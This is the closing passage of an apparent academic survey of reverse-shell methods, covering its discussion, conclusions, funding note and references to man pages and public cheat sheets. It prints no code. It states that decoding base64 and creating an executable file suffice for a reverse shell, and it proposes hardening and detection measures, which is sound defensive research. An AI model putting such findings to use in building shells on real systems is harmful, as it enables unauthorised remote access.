This article provided a comprehensive list of many currently known methods for creating a reverse shell. Numerous reverse shell cheat sheets published online (see e.g. [2, 3, 4]) cover known techniques fairly well. So, in addition to listing all of them, we examine the minimal system requirements for each considered method, as described in chapter 2. These can include access to various files, capabilities, etc. Exhaustive lists of all requirements is beyond the scope of present paper.

Knowing necessary conditions can draw a trivial countermeasure against the concrete method by removing one of the tool's dependencies, such as a module or a library. However, it is not recommended to rely on removing one of the dependencies as a countermeasure, as it may prevent the tool or other tools from running. It can also be easily bypassed in misconfigured systems (for instance, through library hijacking) and is applied only to specific reverse shell techniques. Still, the list of dependencies could be helpful, e.g., for advanced detection mechanisms.

To facilitate further research and experimentation, we developed an easy-to-use testing framework based on a Makefile, which automates the execution of all analyzed methods. Its description is beyond the scope of present paper.

6. Conclusions

In this survey we provided a comprehensive list of various methods which can be used to establish a reverse shell. We tested more than thirty of them and listed example of working code (except of PowerShell, Tcl, Java, C, Golang and Julia which were omitted for brevity). For each method we examined the minimal requirements to work. The full list is not included, however, it can be concluded that the conditions allowing a reverse shell are quite weak in general.

We proved that capability of creating file with executable permissions and decoding `base64` or equivalent, is sufficient. No preinstalled network tools are necessary at all. Thus proper countermeasures can not be limited to removing unnecessary software tools from the system, but should also include advanced network traffic filtering (at the application layer), finer capability management for processes (namespace isolation and virtualisation) or DAC at the kernel level (AppArmor, SELinux etc.).

Presented code examples provide material which can be used for system configuration and hardening, preparing patterns for detection systems or for further log analysis.

Declaration on Generative AI

During the preparation of this work, the author(s) used generative AI tools on parts of the text in order to: Grammar and spelling check. After using these tool(s)/service(s), the author(s) reviewed and edited the content as needed and take(s) full responsibility for the publication's content.

Acknowledgments

This publication is the result of support under the Operational Program Integrated Infrastructure for the project: Advancing University Capacity and Competence in Research, Development and Innovation (ACCORD, ITMS2014+:313021X329), co-financed by the European Regional Development Fund.

References

[1] Imperva, What is a reverse shell | examples & prevention techniques, 2025. URL: https://www.imperva.com/learn/application-security/reverse-shell/.

[2] Swisskyrepo, Reverse shell cheat sheet, 2025. URL: https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/.

[3] Phillips321, Reverse shell cheat sheet, 2012. URL: https://www.phillips321.co.uk/2012/02/05/reverse-shell-cheat-sheet/.

[4] Arr0way, Reverse shell cheat sheet: Php, asp, netcat, bash & python, 2024. URL: https://highon.coffee/blog/reverse-shell-cheat-sheet/.

[5] Debian Developers, chroot(8) — User Commands, 2021. URL: https://manpages.debian.org/bullseye/coreutils/chroot.8.en.html.

[6] Debian Developers, ldd(1) — Linux Programmer's Manual, 2017. URL: https://manpages.debian.org/stretch/manpages/ldd.1.en.html.

[7] The Nmap Project, ncat(1) — Ncat Reference Guide, 2022. URL: https://manpages.debian.org/unstable/ncat/ncat.1.en.html.

[8] G. Rieger, socat(1), 2022. URL: https://manpages.debian.org/testing/socat/socat.1.en.html.

[9] J. Nickelsen, socket(1) — General Commands Manual, 1992. URL: https://manpages.debian.org/stretch/socket/socket.1.en.html.

[10] OpenSSL Project, OpenSSL Documentation, 2024. URL: https://docs.openssl.org/master/.
[11] D. Stenberg, curl(1) — Curl Manual, 2016. URL: https://manpages.debian.org/stretch/curl/curl.1.en.html.
[12] Wikipedia, Comparison of command shells — wikipedia, the free encyclopedia, 2025. URL: https://en.wikipedia.org/wiki/Comparison_of_command_shells.
[13] Zsh Development Team, zshmodules(1) — Zsh modules manual, 2021. URL: https://manpages.debian.org/bullseye/zsh-common/zshmodules.1.en.html.
[14] Zsh Development Team, The zsh/net/tcp Module — Zsh Modules, 2025. URL: https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-zsh_002fnet_002ftcp-Module.
[15] Tcl Core Team, tclsh(1) — Tcl shell manual, 2018. URL: https://manpages.debian.org/buster/tcl/tclsh.1.en.html.
[16] The Python Software Foundation, python(1) — General Commands Manual, 2023. URL: https://manpages.debian.org/bookworm/python3-minimal/python3.1.en.html.
[17] Python Packaging Authority, pip install — pip documentation, 2024. URL: https://pip.pypa.io/en/stable/cli/pip_install/.
[18] A. Koenig, cpan(3) — Linux man page, 2025. URL: https://linux.die.net/man/3/cpan.
[19] The PHP Group, php(1) — Linux man page, 2025. URL: https://linux.die.net/man/1/php.
[20] Y. Matsumoto, ruby(1) — Linux man page, 2002. URL: https://linux.die.net/man/1/ruby.
[21] Wikipedia contributors, List of javascript engines — wikipedia, the free encyclopedia, 2025. URL: https://en.wikipedia.org/wiki/List_of_JavaScript_engines.
[22] Node.js contributors, Node.js v20.x Documentation, 2024. URL: https://nodejs.org/en/docs.
[23] Oracle Corporation, Jep 335: Deprecate the nashorn javascript engine, 2018. URL: https://openjdk.org/jeps/335.
[24] Oracle Corporation, Nashorn JavaScript Engine Guide, 2015. URL: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/.
[25] JuliaHub, 'why we created julia' turns ten years old, 2022. URL: https://info.juliahub.com/blog/why-we-created-julia-turns-ten-years-old.
[26] JuliaLang, App compiler, 2020. URL: https://github.com/JuliaLang/PackageCompiler.jl.
[27] GNU Project, gcc(1) - Linux man page, n.d. URL: https://linux.die.net/man/1/gcc.
[28] Oracle Corporation, javac - The Java Compiler, n.d.. URL: https://docs.oracle.com/javase/7/docs/technotes/tools/solaris/javac.html.
[29] Oracle Corporation, ProcessBuilder (Java Platform SE 8), n.d.. URL: https://docs.oracle.com/javase/8/docs/api/java/lang/ProcessBuilder.html.
[30] The Go Authors, The Go Programming Language Documentation, n.d. URL: https://go.dev/doc/.
[31] The GNU Project, Gawk Manual, 2023. URL: https://www.gnu.org/software/gawk/manual/gawkinet/gawkinet.html#Gawk-Special-Files.
[32] A. Robbins, gawk(1) — Utility Commands, 2022. URL: https://manpages.debian.org/unstable/gawk/gawk.1.en.html.
[33] The GNU Project, Gawk Manual — Two-Way Communications with Another Process, 2023. URL: https://www.gnu.org/software/gawk/manual/html_node/Two_002dway-I_002fO.html.
[34] The GNU Project, Gawk Manual — Closing Input and Output Redirections, 2023. URL: https://www.gnu.org/software/gawk/manual/html_node/Close-Files-And-Pipes.html.
[35] Free Software Foundation, GDB Documentation, n.d. URL: https://www.sourceware.org/gdb/documentation/.
[36] GNU Project, gdb(1) - Linux man page, n.d. URL: https://linux.die.net/man/1/gdb.
[37] GNU Project, GDB Documentation: Python Scripting, 2024. URL: https://sourceware.org/gdb/current/onlinedocs/gdb/Python.html.
[38] Vim Developers, Vim Documentation: Python Interface, 2023. URL: https://vimhelp.org/if_pyth.txt.html.
[39] GIMP Development Team, GIMP Manual Page, 2024. URL: https://www.gimp.org/man/gimp.html.
[40] GIMP Development Team, Gimp 3.0 release notes, 2023. URL: https://www.gimp.org/release-notes/gimp-3.0.html.